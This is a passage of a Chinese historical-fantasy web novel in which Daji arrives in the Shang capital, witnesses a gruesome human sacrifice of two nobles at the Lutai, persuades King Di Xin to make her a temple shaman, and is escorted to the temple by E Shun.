唯一美中不足——
她所做一切,皆是为再榨取恶来,但恶来虽日夜贡献时辰,人却反而消失,若是不幸碰到,竟还要躲避!
但他硕大一只,实则次次都会被她看到——那白皙面容上黑眼圈瞩目,似乎被她的魅力释放折磨得不轻。
唉,无妨,无妨……
唉,随他,随他……
妲己只要时
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辰到手,并不关心他的所思所想,总先要爽过几日再说。
她这厢犹如过节,武庚那边却阴云罩顶。
究其原因,还是因那密信。
他早已写好回信,此时却捏在手中,不知究竟是否该送回。
这信来时就是个烫手山芋,如今更是。
越靠近大邑,他越焦灼……再想到臭不可闻的商圻尸体……
“唉……”王子双手揉着太阳穴。
他还尚未大权在握,已觉贵族关系无比棘手。
幸而还有妲己的仙君之说、还有先祖赐下的白猿……
如今,军中关于妲己的故事已编得越来越有模有样:
说其倩貌世所罕见,必是西母金女。
说其踩着冰雪临世,自有仙骨天然。
她会在夜晚飞上银河,与织女沐浴,
她会在清晨拥抱暖日,编织露水为裙裾。
横跨阴阳,沟通鬼神,她可销一切疾瘟,几乎无所不能……
有意无意的,武庚在故意纵容这样的流言……
只因这流言对他也有利……
正苦闷着,鲁番到近前来,试探说道:“王子,有一小事关于仙君,不知是否该告知王子……”
武庚冷淡道:“我说过,与她相关之事,无有大小,皆需说来。”
鲁番这才委婉斟酌字句:“这几日我竟听军中人说,大亚总是夜间「拜访」仙君,每次……都会呆一个时辰之久……”
武庚猛地侧头,眸色乌沉。
忍耐再三,一股无名怒火仍是突突上涌,他几乎是咬牙下令:
“去将恶来叫来!”
不过几息时间,恶来已掀帘进入帐中,波澜无惊地拱手行礼:“王子。”
武庚阴沉望着他,似狼遇到觊觎配偶的同类。
其实等待的这一阵,他的滔天醋波已略略平息,人也冷静不少……
对待恶来,当然不能像对待彪或者邑,斥不得,重不得。
恶来是大邑未来的师长,是王父为他寻来的「臂膀」;再者恶来性情淡漠守规,绝不可能觊觎贡女,还是该听他如何解释。
饶是如此,开口时,仍难免阴阳怪气:
“大亚近日好兴致,夜来似乎十分繁忙。”
恶来沉默一阵,竟主动道:“王子想问我夜间拜访仙君一事。”
武庚倒不料他还敢主动提,哼笑一声,语中呷酸,“此事旁人同我说来,我终究要存疑三分。还是要听你解释。恶来,你莫要忘记,仙君身份尚未分明,只要她一日还未见我王父,她就一日还是贡女。”
恶来不动声色地点头:“若是旁人,我只会撒谎说是祝祷。但既然王子问,我当然需将实情禀出——是先祖赠我仙册十卷,仙君说不可外传。偏我无用,认不得字,故而仙君教我识字,为我一卷卷讲来。”
武庚一愣:“识字……”
仙册?
“不错,我虽愚钝,如今也认得了几百字。”
武庚眯眼,手指在几案上意味不明地敲击两下,“仅此……而已?”
“仅此而已。但我实不敢令旁人知晓仙君在教我,故而……”他抿唇,自嘲一笑,“王子也知我先前身份……”
“唉,什么先前身份!恶来,你如今是大亚,唯有这一个身份。”武庚恳切说完,又神色一松,反而宽慰他,“原来如此,我当是甚。恶来,我早知你不是那等胡来之人,故而总要亲自听你说才好。”
武庚顿了顿,手抚其肩:“你知我素来极信任你……”
恶来眼帘垂下,挡住了眸中心虚的光。
29. 大邑之地竞仰仙君
走出王子的大帐,阳光刺目。
恶来浅色的眼珠被日光激出水色,似两片即将被烈日烤融的冰片。
太阳很快又重叠了妲己的面容,明亮、炽热、令他错觉自己整个人都即将融化……
他自欺欺人地告知自己,方才那些话实则算不得撒谎——
至少,在那日之前,他一直都在习字……
手不禁攥紧,只要想到那日,唇上颈上就隐隐发痒,需竭力忍住才不会抓挠。
他甚至已连续两天痛苦难眠,只因一闭眼,那触感就变得格外清晰……明明轻而柔,却能残忍地摧残神经。
妲己嫽美,无人不爱她的容颜,这一点他无法否认。
但任何亵渎她的想法,都令他憎恶自己。
他强迫自己崇敬他,将她想象为师保阿衡……
但她却将一切打破——
仙人为何会忽然俯身,反去“亵渎”信徒?
他曾几度在夜间惊醒,几欲冲去问她,又堪堪止住。
盼望她说是误会一场,但又隐约知晓,她若真如此说,心里可能会崩塌。
但若她说是只是逗弄他……也会崩塌……
他意识到自己已萌生了不该有的贪念……
无妨,他可以扼制……
今日,是他第一次对王子说谎。
他企盼这是最后一次……
~
军至大邑京畿之地这日,青女姚为众人口中的仙君好生梳妆了一番:
青丝水沉,总汇于顶,编辫簪堆,
玉石明耀,层层叠叠,肩头披缀。
长带后系,穿插成结,轻盈翻飞。
手腕珠串,腰间羽毛,诸好齐备。
最后,又将一个刺绣精致的丝帛卷筒为她绑在额前。
“这是做何用?”妲己从没在有苏见过这种装饰。
青女姚解释:“这是箍,有个扣在中间,到了「中日」和「昃」时日头足,贵族们受不了,就发明了这个,可以放下来遮阳。丝帛又轻薄,不会遮挡视线,也不会压发髻。”*1
妲己了然点头。
一切装扮完毕,妲己只觉得玉石十分压身,乱动不得,于是不得不步履端肃,到更有几分仙人之态。
眼看妲己现身,普通士卒又忍不住跪地,神色激动;
而官亚之中——
武庚貌似威严,实则眼又要黏在她身上;
崇应彪一肚狐疑,犹未释去,皱眉挑剔;
周伯邑如履薄冰,面容惆怅,长吁短叹;
鄂顺一脸神往,眉目含情,玉面生愁。
至于恶来,面容比以往更加沉肃惘然,更兼失魂落魄……
凡此种种,妲己观之甚为得趣,胜似挑弄一百个纣王。
连狐狸都不免要心中感慨:
商军初来时,王子与几位质子、恶来关系如铜鼎一般,坚不可摧。如今,虽仍貌似一团和气,实则又已玉生暗隙、暗流涌动,皆因妲己而互有猜忌、不满……
也亏是归程时间太短,限制了妲己的发挥。若回程需一月时日,几人大约早已被她搅得分崩离析!
车辆嘈杂前行,正式驶入大邑商的京畿之地。
艰难军行了许多日子,如今车辆的行驶突然平稳,路又宽敞,武士们俱开始放声高歌。
青女姚久别归来,也忍不住将华盖掀开一隙,四下张望。
大邑商的主干道,可谓是各国之最,宽约十六米;上由土渣和硬陶片夯实*2,车马经过,几乎惊不起一星灰尘。一路行走下来,路上只留有一些牛马粪便。
但牛马粪也绝不会滞留太久,因为早有得信之人蹲候在道路两旁,只等大军一过,要将马粪抢走贩卖。
青女姚记得自己刚被带回时还曾惊叹:大邑的主干道竟有人车分流概念
——在主路的两旁,还设有人行道路。
道路尽头,一座大桥横跨洹河。
洹河既是护城河,也是排水的河。
大邑商已靠着烧陶技术创立地下排水管道*3。生活用水,皆自管道汇入河中。
进入城中,洹河主干又被分流出许多人工渠,自西北向东南,树杈状贯穿。期间又有许多小河,乃是居民自己引出,多为取水倒水便利。
不光如此,洹河上还有诸多池苑,池苑上又建屋舍,是贵族们独有的赏景之处。
此时代,黄河也尚未改道。大邑商背靠太行,又有黄河相护,正如后世所言:
“左孟门而右漳釜,前带河,后被山。”*4
因其自带天险,故而周遭竟无一点城墙樊篱防御,实属罕见。
此时行人驻足,又引来更多人。望着浩浩荡荡的队伍,他们不免也振奋高呼。
得胜!武士!再大声些!
那些武士便唱得更加有劲:
“威仪煊赫,佑我商王!
四极拜服,在我成汤!
车列嘈嘈,方夷来降,
万民腾腾,大邑无疆!”
歌声气势恢宏,运货的圣水牛和大象,也同人一般,歪头好奇地打量*5。
妲己听武士们唱着,心道:帝辛的野心与自负,歌中城中,实则已窥得一斑。
军队最前面的,就是护送着白猿的队伍。
那白猿早换了一身姜黄色衣衫,腰间虎皮相围,看着无比可爱,惹得民众啧啧称奇,皆说是仙物。
妲己见青女姚看得起劲,便也微微侧身,自缝隙向外望去。
眼前的城邑,相较于盂方,显然强盛得不止一星半点,有苏更是连比较也无资格。
此时,路边已经汇聚了许多平民,皆穿着短衣,围兽皮,密密匝匝,人头攒动。
商人喜白、喜洁,故而这里的百姓兽皮下的衣服大抵也都是白色。他们头脸干净整齐,发梳向后,戴着简单的頍、箍、绳装饰。
女子的头发都规矩束成小辫,男子大抵都是短发,为防虱蚤。个别有身份的,还会将头发前后修理同样长短,混似碗扣在头顶。
令妲己颇为意外的是:整个大邑商,繁盛、干净、欣欣向荣,没有暴政下的民不聊生,没有昏君统治下的恐怖压抑——
大邑商更似一个支脉庞大的巨型村落,住满了为之自豪的人。
车行越靠近宗庙与皇宫区,围观之人的衣服也慢慢变化:
上衣变长,蔽膝变长;衣服上开始出现复杂的花纹和包边,颜色开始出现赤、黄、青等色,便是身着白衣之人,也定要用红色、靛色为白衣包边;至于袖口,渐渐收紧,又渐渐变得宽大飘逸……
妲己仅是看衣服便知晓,马车已经进入了贵族区域。
最终,她看到许多与她的装扮相似的贵族女孩也在嬉笑围观。
这些女孩发尾上卷,戴着上窄下宽的蔽膝,似个箭簇形状;她们戴着松石、玛瑙、白玉、贝壳的饰物,额上也都绑着丝帛发箍。
此时正午大晴,她们便将丝帛放了下来,遮蔽阳光,不得见面容。
唯有一点与妲己装束不同,许多女孩的腰后还用腰带打出一个上翻下卷的结,支在身后,似一个巨大的燕尾*6。
青女姚发觉她在看那些结,小声解释道:“那是装饰,只有子姓的王室女才可扎「燕尾结」。”
天命玄鸟,降而生商——玄鸟相关的一切,都是商王贵族独有的装饰。
当年初来乍到时,青女姚还曾一度怀疑,和服后面那诡异的结,或许早就受到了商朝服饰的影响。
妲己点头,仔细端详着。
武庚又忍不住侧目去看她……
有华盖遮掩,他见不到她的面容,却能透过华盖的缝隙,看到她纤白素手掀起华盖……
那手若隐若现,玉钩一般,一下下勾
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在心里某处……再一想到那温热的手曾经拂过他的脸颊,又曾略过腰间,连石头也要灼灼生起火来……
此时,偏是崇应彪驾马行于他身侧!
彪子鲁莽虽是常态,但在察言观色上却鬼精。
当下,他将武庚细微神色尽收眼底,又望向他所看方向。
他也见到妲己的手。
崇应彪心中雪亮,浓黑英眉蹙在一处,暗暗“呸”了一声。
军队凯旋,且是王子首次亲征而归,照例少不得祭祀。
祭祀之地,就设在宗庙区北部的对称高台上。
此台名为鹿台,全凭巨石开凿累就,是大邑商内最高的建筑。*7
在此时的人看来,鹿台虽并无千层楼阁、更无精巧亭台,但其本就为祭祀而造,非是为了住人,且其高千尺,当得起“台高插汉、榭耸凌云”之语*8。
站在台上,必将与天神沟通无碍,必将连先祖鬓毛也数得清楚。
攘攘军队在贵族的车队后停下,再向外便是层层民众。
众人皆仰头望着,渐渐安静。
鹿台之上,浓烟直入云霄,巫穿着玄色衣袍,戴着鸟形面具,手持铜铃而舞。台中自有一高耸的青铜柱子,又有长短刀钺闪闪簇簇。
再看那祭牲——非俘非奴、更非牲畜,竟是两个华袍戴玉的贵族!
武庚神色复杂,对此却并不意外——只因先前密信正是关于此宗。
信上说,此次祭天人牲,用的乃是三公中的鬼侯与梅伯。
来信之人,是武庚堂兄商雒,其妻为鬼侯次女蛟媿,在信中苦苦哀求他向天子求情。
大邑商中,用贵族祭天其实并不算罕见。
不论是昔时武丁、还是今时帝辛,都坚信贵族之命更尊贵、更能令先祖愉悦。
情虽如此,但三公位重更甚于侯,用三公祭祀,实属首次。
但武庚了解王父秉性,深知此事不能深劝。
将贵族祭祀,说是陪伴先考先妣,那只是阳面;翻过阴面来,定是因二人犯下不可饶恕的重罪!
他既不知是何缘由,又如何求情?本想着不理此事,也就罢了。
偏又累叠了他在军中斩首商圻一事……
两事叠加,定会伤了亲族和睦。
没奈何,他只得信间向王父软语恳求顾念亲族。
如今看来,全是白费。
台上,巫者似一黑色墨团,扭动起舞,倏忽西东,末了又不知大声吟诵些甚,台下贵族只隐隐闻得“醢之”,“炮之”等语。*9
鹿台之上,又有一次高台,唤作「迎仙台」。远远的,帝辛服大裘而冕,无旒无章,立于台上供案之前。他举起手中玉钺,似在回应贞人。
仪式由此展开……
「醢」这一字,妲己闻之便有呕吐之意,全不陌生;至于「炮」,大约也同前世那般,铜柱内置热炭,将罪人摁上去烤个外焦里嫩,亦称为「炮烙」。
妲己想到了前几世梅伯之死。
那时他是因为劝谏而死,皮肉焦糊的味儿飘得极远,导致她许久难以食肉……
此时,尊贵无比的鬼侯与梅伯已被剥去衣衫,玉串被扯断时,珠子滚落一地……
两人赤条精光地被绑在铜柱上,旁有小童将内里火势扇大。
皮肉焦糊的味儿开始蔓延,血肉在铜器上粘连作响,更有声声惨叫响彻寰宇——
不似人、倒似兽,闻之心颤,压倒歌声。
不多时,也不知是梅伯还是鬼侯,撕心掼肺、声裂胸襟地嘶吼一声:“天帝饶我——!”
万里晴空之中,又何曾有天帝身影?
唯有大邑子民闻其喊声洪亮,直达苍穹,排山倒海欢呼。
正是:
哪有神仙到凡界,其中真假难解开。*10
皮为焦炭肉为醢,鸮鸟泣魂在鹿台。
30. 大邑之地竞仰仙君
二公魂魄飘远,哭嚎声断。
台下贵族,无不两股战战、汗出如浆,而周遭武士百姓,又面露虔诚,一派祥和。
望之怪诞。
贵族也知鬼侯与梅伯被用来祭天,定是因罪不可恕之事触怒天子。但究竟所为何事,却无人知,更不敢问。
但梅伯是子姓,是帝辛沾亲带故的亲戚、长辈;他被祭天,不免令贵族倍感兔死狐悲。
妲己心中暗道,果如青女所言,这里无人绝对安全。哪怕皇亲国戚。
歌声中,仆自台上端下一碗碗肉醢来,如何还分得清哪碗是鬼侯,哪碗是梅伯?只你中有我,我中有你,教贵族诸侯食用。
在场贵族心中恐惧,谁敢不从?更不敢稍有异色,皆将其视为恩赐,吃个干净。
至此,祭祀结束。
马车再度驶动时,妲己猛然留意起方才祭祀的一点微妙之处:
帝辛的祭天服饰。
她先前的王后不曾白做,见帝辛冠冕至洁至简,知晓是祭祀上帝的规格;而王子征战区区有苏,当真需要如此兴师动众、特「遣」贵族告知上帝?
显然,祭祀是预谋已久,王子归来只是由头。何况杀三公祭祀寻常先祖,也极难以服众……
究竟是何事,令帝辛如此震怒,竟不肯等一个更好的时机将二人处决?
思绪蔓延,妲己立时想到武庚治疗眼疾时,衡牙报去的“密信”……
会否与此事有关?
思忖间,车马穿过了几十米高的红色「开」字形牌坊*1,行过飘荡的三游旗、六游旗、鱼旗,经过了十几米高的哨塔。
进入了宫殿区,悬挂的旗帜变为九旒龙旗*2。
原本随行的武士早已或回归旧部,或解甲归家,此时护送之人,只剩余武庚、贞人糜,和几个熟面孔的公子。
众人带着白猿,先进入了正殿面见帝辛。青女姚则扶着妲己下车,在宫殿外跪候。
青女姚来大邑两祀,还是第一次见到大邑宫殿。
透过敞开的朱红木门望去,宫殿区域如放大了数倍的四合院,方方正正,隐约见得右侧曲折突出一块区域。
整个宫殿木骨泥墙,部分屋舍上又有红木垒建二层,屋顶覆着厚厚的细长茅草*3,绑束整齐。
一应梁柱皆涂着朱漆防蛀,墙上也用漆涂红,又点缀些许花样装饰。
因此处气候湿润,黄土绵软,所以宫殿屋舍下有夯土,将屋体抬高一米有余,筑了土阶方便通行。和一路所见民宅相比,可谓气势恢宏。
宫殿左右,环抱有东西厢房,皆有廊庑。春日虽暖,夜间犹寒,廊庑仍挂了厚重幔帘防风保暖。
廊庑各处亦筑有土阶,通往中间庭院。
再看庭院:
细碎白石压住灰尘,嶙峋假山托起亭台、又有整齐松柏、巨大燎庭*4,虽简却雅,错落有致。
妲己不露痕迹扫视一番,微微叹气,心中感慨:
太原始!太寒酸!
与她前几世住过的气派宫宇完全无法相比!
只是,殿宇虽寒酸,她却并不敢掉以轻心。
有鬼侯与梅伯“珠玉在前”,她不免担心若是不留神、应对失当,帝辛会不会也送“仙君”归天。
妲己在腹中梳理谋算,她身旁的青女姚也紧张得几乎喘不过气——
来了来了!妲己的名场面要来了!
历史上的帝辛连女娲都敢调戏,此番又会不会被妲己吸引,哪怕是仙君也要由着色心掳去?
这时,正殿内走出一个尹官来*5,在唤:“宣,妲己朝见!”
门口的等候的两名的武士,送妲己入了宫殿内。
她跨过宫殿正门,走过白石路,又拾阶而上,进入了进深三间的主殿。
她又见到了那个和她纠缠八世之人。
帝辛!
四目相对,她有些恍惚。
帝辛跽坐在大殿中央,已换上白色皮质弁服*6,头戴一顶白色皮頍冠,镶着鸟形红色玉石。不但装束与她过往所见帝王穿着大不相同,连面容神情也差异甚大
——或曰:她每一世所见帝辛,皆相似又不似。
那张脸上呈现的特征总是各异,或残暴、或荒淫、或霸道、或蠢钝……
但眼前的帝辛是其中最为出众者:
他的身材更加高大魁梧,面容比武庚和一众公子更为姣美昳丽,望之不过三十四五。
其线条成熟,不蓄髭须,一头浓密黑发,短短向后梳拢,无有一丝银白。
更令妲己意外的是,他双眸锐利清澈,气势雄浑如巨兽,哪有一点亡国之相?
妲己来至这里许久,早已经不相信什么天子、什么天命。但若世上真有所谓的天子,大约就该是帝辛这样震慑人心的气势。
若之前遇到的纣王都是这般,她怕不见得能轻易亡商。
她依照贞人糜教的礼仪垂首走入,跪地,磕头,“有苏国己氏部落妲,叩见天子。”
帝辛道:“抬起头来。”
其声雄浑低沉,若云际滚雷之声。
她缓慢抬头,只听得周围一寂,有人微微抽气。
显然,诸位小臣们*也不曾见过此等人间绝色,无不在此一瞬恍惚惚,晕陶陶。7
帝辛双目微瞪,正是:
魂飞三千里河山外,魄荡九重天云霄中。
失神片刻,他语气转而微妙:“随行贞人方才说,你是女仙,身负劫数,不可入宫。”
她再度伏地,起身:“喏,天帝与先祖托梦告知,若我入宫,会冲撞天子,轻则瘟疫横行,重则江山倾覆。若我远离宫闱,则盛世无尽。”
“盛世无尽……”帝辛玩味地重复,威严的声音在殿内回荡,带来沉沉的压迫,“妲己,你预言了白猿现世与天晴。可余焉知这白猿不是你所饲、天晴不是你所猜?神女之说,不是你拒绝入宫的托词。”*8
诶?
妲己气息微窒。
见鬼,这个版本的帝辛,怎么好像真的有点“资辨捷疾,闻见甚敏”?!*9
就连狐狸也吃了一惊:“这里的帝辛果然难对付。贞人与武庚佐证都不够,他要自己亲自验来才算?”
幸而,诡辩这种事,妲己早就被女娲与狐狸教得无比纯熟:
“我知天子有疑,但章王赏赐白猿,是为嘉赏王子军纪严明,我如何事先得知?我亦曾协助先祖与贞人驱逐邪祟,军中诸人皆可为证。”她语气玄妙道:“且我在来见天子前,上帝又托我一梦,只我一人知晓。”
她特意停顿,方才开口,“此梦说,将有贤者自西而来,所来之处仓廪丰实,所去之处蒺藜相围。”
她虽不大记得前世细节,但鬼侯、梅伯死后,周昌迟早要来觐商王、被囚,这大约不会错。
此话一出,众尹臣议论如潮。
狐狸却暗暗叫妙——
且不说新预言应验,可拖延时日,单说妲己言辞之间,再度利用商圻斩首之「势」,又将帝辛架在火上烤——
武庚斩杀商圻,即便师出有名,
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累叠鬼侯梅伯,难免令众贵族寒心、多心。此时此刻,唯有先祖嘉赏做挡箭牌,方能杜绝贵族旁支的愤怒与烦呶,帝辛爱子心切,不会想不到这点;
但若妲己并非女仙,则白猿一事亦将作废,商圻之事则要浮出水面。
如此,矛盾转递至帝辛面前:
是借机平复贵族怨气?还是硬要将妲己真面目质疑?
帝辛沉吟良久,目光不觉落在案上一份奏疏——
无人知晓,那是崇侯虎送来的密报……
似乎是看出来帝辛犹豫,一位健硕的武臣豪迈道:“事关成汤基业,天子若有疑,等上一等也好。”
妲己微微侧目,细细打量,只见这人身侧便是武庚,对比看来,其竟与武庚一般魁梧。而且她敢在众人沉寂时开口破冰,可见身份贵重。
再说此人生得何等样貌?
面若蜜枣,高鼻方额,剑眉渺渺横扫,双眸熠熠流星。
背有鹤韵,腰若蜂形,臂膀行得千军,铁拳铮铮无情。
正是:神勇无双,威压三千粉黛,女流第一,胸藏十万貔貅。
竟是个骁勇武将!
狐狸也望了过去,很是惊讶:“倒似亚马逊战士。”
妲己不解问,“那是何人?”
狐狸:“亚马逊族*4,是战神阿瑞斯的后代,族中皆是女战士,如她一般,我之前见过。”
另一边,一位背后有燕尾结的年轻女子亦开口:
“王父,我也赞同师顼之见。天下为重,不若先将妲己安顿在宗庙,且看她预言是否应验,再做打算?毕竟,连那邪祟都说妲己不能入宫,想来邪祟是先祖身边逃逸的人牲,兴许也知晓些什么。”
这女子不过十三四的年纪,犹有稚气,但显然地位更高、跽坐得离帝辛更近。
她身上玉石皎皎若月,松石盈盈发艳;衣裙绣鸟纹,腰间绾红绦;蔽膝满绣饕餮纹,袖口舒广若流仙。又生得窄面高鼻,浓眉凤目,与武庚眉眼肖似;更兼眼中机灵清明,举止一派典雅。
妲己记得,为武庚疗伤时,他曾提及自己的两个妹妹,说她们同他一般,皆为天子小臣,一名子姞,一名子妤。不但在自己的封地为族尹,平日也参与政事。*10
但不知此时说话的是哪个。
接下来,帝辛的叔父箕子、比子*11,兄弟微子、各族族尹等人也认为,事关天下,应当久观验之。
帝辛忽而道:“恶来,归程记录写,妲己归程时与踵军同行,你有何见?”
此话一出,箕子、比子等人皆表情微妙,暗暗传递一不悦眼色——天子果然重视这奴,连这等仙家之事也要问询于他。
恶来直身,语气平淡道:“回天子,小臣认为,妲己应当是仙君无疑,我曾亲眼见其驱除邪祟,也曾见她召唤先祖。”
帝辛微微蹙眉,又见周伯邑欲言又止,遂道:“邑,有事直说来。”
周伯邑看了一眼武庚,低头说道:“妲己在营中时,有七彩光落于她帐内,我的奴隶亦有看到。”
他说完,武庚果然侧目向他,神色微悦。
周伯邑暗暗松了口气。
狐狸在识海中将众人神色尽收眼底,不免感慨:这般看来,竟已是压倒之势。
它此时才明白,当初妲己为何说周伯邑还有一用——
武庚与邑之间的微妙嫌隙,旁人或许不觉,但邑自己当然一清二楚,如今帮腔,无非是为弥补。
而且恶来先说了,他更可放心说来,这实则是邑的一点权衡。
31. 信预言天子失贡女
众人各自抒发己见后,帝辛终于点头许可,对一旁负责记录小史道:
“传,女仙妲己,通阴阳,献白猿,除邪祟。即日入宗庙,任鬼巫,侍奉先祖。赐,十朋贝*1,奴四,皿具七;日常用耗,与祝官贞人相齐。另将白猿送往兽园,精心看顾。”
他又环顾众小臣,对鄂顺道:“顺,你素来行事稳重,可先送她去宗庙。”
这样说时,他明锐的双目不免又盯向妲己,实则决心根本未下。
特意派戍卫少亚总长去送,实则是一个顶端的雄性在明示自己的实力,更是一种对她隐晦地示好——
他几乎是在说:我可操控天下之人,我亦愿将这天下供你操控……
但妲己浑作不觉,只暗暗松了口气……
她看得出,帝辛第一眼见到她,就已痴迷,眼中的掠夺情绪几乎要聚成实体。
两人的纠葛八世,她就像是他难逃的劫数。
但那又如何?
她已决定不屈从命运。就算帝辛有怀疑、有不舍,只要她的存在威胁到了成汤天下,贵族们拼死也不会允许她入宫,会有的是人反对。
何况,还有她一路养来的棋子们……
固然,她心中也并不放松:
这一世的帝辛,性情似乎更为强势果决,绝不是轻易妥协之人。
她需继续加强这个鬼巫的身份,且万不能止步于此……
走出正殿,正午暖洋洋的日光洒在她的身上,昭示着暖春已来。
身后,帝辛审视的目光又如芒在背,不甘将她放过。
妲己唇边有笑意。
她是狐狸。
只要让她逃脱一次,她就还能逃脱更多次……
~
~
大邑商内,积累的冰雪正在融化。
若细细听来,隐隐有流水之声,合着鸟鸣,生机勃勃。
青女姚无暇赏春,已急成热锅上的蚂蚁。额头细汗一层,面上眉眼耷拉,不敢表露更多。
直到妲己袅袅娜娜走出。
她松了口气,又惊愕不敢信——妲己竟真的不曾入宫!
帝辛竟然舍得?
不等二人说话,已有内廷总事官捧着赏赐,领着四个奴隶前来。
奴隶两男两女,穿着简陋筒状衣衫,裹着兽皮,戴着沉沉颈铐,手背上也有奴隶的烫痕。
四个奴隶皆看着地面,表情麻木;冬日暖阳照射下,眼窝一片阴影,仿若行尸。
妲己见多了奴隶才知道,似青女姚这般鲜活的奴隶,仅有一个。
她此时倒真切认为周伯邑算是善人:至少他从不苛待青女和其余奴隶。青女姚昔时能在邑手下做事,如今又在自己手下做事,不亚于从一个天宫,转去了更奢华的天宫。
妲己再度遥遥谢过天子,奴隶们则为她接过了赏赐。
青女姚欢天喜地,满心满眼只有妲己,只是许多问题不便发问,只好暂时忍耐。
青铜车驶出皇宫区,护送妲己去往宗庙。
如今妲己已非贡女,又身负官职,青女姚便再不能与她同车。就算妲己不介意,这里人多眼杂,也很容易被人报给司奴,故而青女姚只在车下同其他奴隶一道慢跑着。
车上,妲己美丽的脸孔淡然,倒是看不出什么喜乐。
与之形成鲜明对比的,反倒是鄂顺:
他本就面白,如今略一红些,分外明显。
狐狸原本正放松瘫软,忽地鼻子抽抽,一睁眼,一个野驴打滚起身,大叫:
“怪哉!怎平白多了三个时辰!?”
又叫:“等下!我闻到了海贝的腥臭,也闻到玉石的灵气!”
这厢,鄂顺已羞赧开了口:
“妲己,你……你可还记得我?”
妲己好好将他看了看,语气柔婉地装模作样:“那日在盂方国用食见过。是公子顺?”
如此细目俊美的狐妖美男,确实不易相忘。
鄂顺手持缰绳,目视前方,不敢让自己的意图太过明显,羞赧道:“不止如此,暴雪那日……你我同掉落洞中……”
狐狸早已在大叫:“鄂顺可为你续命!他是鄂侯的儿子!鄂侯为商王征玉*2,夔贝成山,揽尽天下之财!诶!!早知如此,你我何必大费周章去寻恶来?该一早去寻顺才是。”
打量一番,狐狸又嘴馋赞他:“离近了看,更是个美人!”
是何样貌?
长眉接鬓,仿若刀裁,眼细若狐,渐凝深墨。
玉面赧姱妇,行若履凌波;武者藏文气,文者蕴武魂,
偏雄身凛凛,气宇昂昂,野性灼灼。
正是:
玉树结此多情果,疑是书里梦中人。
鄂顺从来是大邑商美男子的代名词,今日回朝,又需觐见天子,他还刻意梳洗装扮过,更似扶桑修竹。
他身着白衣皮甲,耳上戴着蓝绿松石坠子,皮革頍冠坠着红色玛瑙,拟鳄鱼之形*3,是为鄂国图腾。如此红蓝相宜,似头成精的公狐狸。
一时间,九尾竟看呆了眼去!
妲己听到了狐狸的话,不动声色,只将鄂顺扫一眼,这才轻声冷道:“哦,你就是那个要偷亲我的小贼。”
鄂顺面容立时窘红,张口结舌:“不,非也,我、我非贼……我实是怕你死,要渡气于你!我绝非那等浑人……”
妲己似笑非笑,佯装不理。
他抿了抿润泽的唇,没再说话。
气氛登时焦躁且尴尬。
又三个时辰的寿命,浑似一个默默然的省略号,在尴尬中一坨坨溢出。
唉……
青女姚叹气。眼见车上鄂顺目光蚂蚱,蹦来跳去,哪里敢正眼看妲己?只余光在扫,心在窥视。
他的身体不安地微动,有时人身上爬了小虫儿是会如此。
再看妲己,目映澄空,全然不看他,是个冷淡之态。
原来公母狐狸相见,并不一定干柴烈火,也可能郎有意,妹无情。
鄂顺如此容貌,妲己尚且冷淡,青女不免更加忧心远在周原两兄弟的竞争力……
很快,马车在宗庙区停了下来*4,鄂顺率先跳下车,仰头,松石坠子随魂儿一齐摇晃,一脸诡异热红:“到了,我扶你。”
他高抬小臂,竟是不肯让奴隶来扶,而要自己亲自扶。
细长的狐眼眯起,似乎怕被眼前人的光芒晃瞎了去。
妲己掀开华盖帘幕,手自袖中探出。
雪落梅枝,搭在了他的臂膀上。
鄂顺常年守戍大邑,磨炼得阅历颇多,城府也深,但妲己扶上他手臂时,他面上仍破功些许——
玉骨棱棱,风神皎皎。
五色并驰,不可殚形。
他眼神痴迷,迷恋毫不掩藏。
显然,年轻公狐,较之狐狸女王,道行粗浅得多。
而妲己既见他贡献寿命,再仰头看时,便觉这长腿公狐狸十分顺眼,悄声道:“多谢。顺,先前之事,就算勾销了。”
就算是木雕人,此刻也难免变做草荇漂流;鄂顺显然已是荇草一株,声音轻柔,自己听了也要恶心几日:“我、我带你四处看看,我熟悉这处……”
顿时,樱口笑,脸生花,声柔情,“如此,有劳。”
商族的宗庙区落于王宫的西南,妲己方才观看祭祀,已在门口见过,其建筑模式与宫殿相差不大。
如今进到内里来,只见庭院正中一棵巨树,挂满飘摇彩布,隐约有些春绿;其下皆是矮树,高至人膝上十寸,掩映道路。
正庙夯起三重楼来,供奉着历代王、后的牌位,无上天帝,各路神仙;两侧另有庙舍,连帝王杂七杂八的亲姑姨姐妹、叔伯兄舅也赫然在列;
此外,宗庙后屋舍亦设有购置牛骨龟甲之处,祭品登记造册之处,厨灶之处等等;北侧又有一地下坑屋,内里贮藏验辞后的甲骨,累累叠叠……
宗庙再向北去,即是妲己先前所见的鹿台。此时离近仰望,只见巍巍台上炭火余温未散,青烟袅袅。台
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下有数十个巨大笼子,关着一些人。细细看来,竟还有两个她从未见过之怪人!
一个皮肤欺霜赛雪,金发碧眼,身材高大;
一个皮肤似墨似炭,阔鼻厚唇,四肢细长。*5
鄂顺由她的目光望去,温柔笑道:“罕见,是不是?莫说你,我第一次见时也惊讶。听人说,这两口人殉极难得,是南北部落偶然捉到,进贡而来,恰好一男一女,一阴一阳,唤做阴阳鱼。天子说,日后要葬在墓口。”
此时,笼中人牲无论颜色,无不面若死灰,其状可怜,妲己心中不忍,忙移开目光,只将远处辽阔的洹河望着。
浩浩汤汤江水流过,舒慰心中,她不愿久留,忙离了此处……
鄂顺亦步亦趋,殷勤相随。
他只恨自己不是孔鸟*6,无屏可开,又低声吩咐仆准备酒和吃食,预备着妲己口渴或腹饥。
偶尔,妲己遇到了什么新奇的东西,他便要一个箭步上前,先为她细细解释。
宗庙内的贞人、元卜、左卜、右卜、筮人、巫等,皆出来接受天子旨意。
听闻妲己被封为鬼巫,诸人一路陪同。
宗庙虽大,但实则其中神官并不多,粗略数来不过四十之数。
此时,人人心中皆疑惑,不知这美人是何来头,被鄂侯之子如此鞍前马后地小意侍奉。
待绕着宗庙看毕,妲己也累了。
她不过略略露出倦意,鄂顺便笑问:“可是累了?早些歇息也好,我引你去看房舍。”
青女姚心中啧啧摇头——
昔时在公子邑处,她亦曾见过公子顺:其人甚傲、眼高于顶;又因其家世显赫,天资聪颖,从来貌似和善,实则冷淡,何曾在意旁人喜乐?他若偶尔毒舌一下,杀伤力倒还更甚彪子百倍。
而此时,鄂顺嘘寒问暖,无师自通地体贴人、察言观色,也实在是奇观。
宗庙的奴隶们早将一间两进的厢房收拾出来——
是妲己的住处。
卧舍中,红木床在里,低矮绣花屏风相隔,窗侧置着铜灯。
外舍间,设有刺绣坐垫、矮几,角落排着几个高大白陶罐,插了翠绿的松枝辛夷增香。
